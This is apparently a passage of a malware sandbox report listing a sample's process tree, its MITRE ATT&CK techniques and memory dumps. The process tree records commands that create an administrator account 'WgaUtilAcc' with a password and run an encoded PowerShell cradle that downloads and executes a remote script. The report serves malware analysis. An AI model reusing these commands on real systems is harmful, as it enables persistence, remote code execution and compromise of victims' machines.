- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2192

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Gbv2h83j
1⤵
PID:3584
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Gbv2h83j
  2⤵
  PID:2820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Gbv2h83j
    3⤵
    PID:3292

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1648
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1612

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:312
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2908

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3820
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:4088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/640-160-0x00000141873A3000-0x00000141873A5000-memory.dmp

Filesize
8KB

Download
memory/640-158-0x00000141873A0000-0x00000141873A2000-memory.dmp

Filesize
8KB

Download
memory/640-161-0x00000141873A6000-0x00000141873A8000-memory.dmp

Filesize
8KB

Download
memory/1536-170-0x000001C3153D0000-0x000001C32D500000-memory.dmp

Filesize
385.2MB

Download
memory/1536-168-0x000001C3153D0000-0x000001C32D500000-memory.dmp

Filesize
385.2MB

Download
memory/1536-167-0x000001C3153D0000-0x000001C32D500000-memory.dmp

Filesize
385.2MB

Download
memory/1952-222-0x000001A93E690000-0x000001A956820000-memory.dmp

Filesize
385.6MB

Download
memory/1952-219-0x000001A93E690000-0x000001A956820000-memory.dmp

Filesize
385.6MB

Download
memory/1952-218-0x000001A93E690000-0x000001A956820000-memory.dmp

Filesize
385.6MB

Download
memory/2148-176-0x00000255DC760000-0x00000255DC762000-memory.dmp

Filesize
8KB

Download
memory/2148-177-0x00000255DC763000-0x00000255DC765000-memory.dmp

Filesize
8KB

Download
memory/2148-180-0x00000255DC766000-0x00000255DC768000-memory.dmp

Filesize
8KB

Download
memory/2212-131-0x000001E86B033000-0x000001E86B035000-memory.dmp

Filesize
8KB

Download
memory/2212-133-0x000001E86B036000-0x000001E86B037000-memory.dmp

Filesize
4KB

Download
memory/2212-130-0x000001E86B030000-0x000001E86B032000-memory.dmp

Filesize
8KB

Download
memory/2212-132-0x000001E86B035000-0x000001E86B036000-memory.dmp

Filesize
4KB

Download
memory/3188-144-0x0000018D46F66000-0x0000018D46F68000-memory.dmp

Filesize
8KB

Download
memory/3188-183-0x0000018D46F68000-0x0000018D46F69000-memory.dmp

Filesize
4KB

Download
memory/3188-152-0x0000018D47980000-0x0000018D47B8A000-memory.dmp

Filesize
2.0MB

Download
memory/3188-151-0x0000018D475F0000-0x0000018D47766000-memory.dmp

Filesize
1.5MB

Download
memory/3188-142-0x0000018D46F60000-0x0000018D46F62000-memory.dmp

Filesize
8KB

Download
memory/3188-143-0x0000018D46F63000-0x0000018D46F65000-memory.dmp

Filesize
8KB

Download
memory/3188-138-0x0000018D470A0000-0x0000018D470C2000-memory.dmp

Filesize
136KB

Download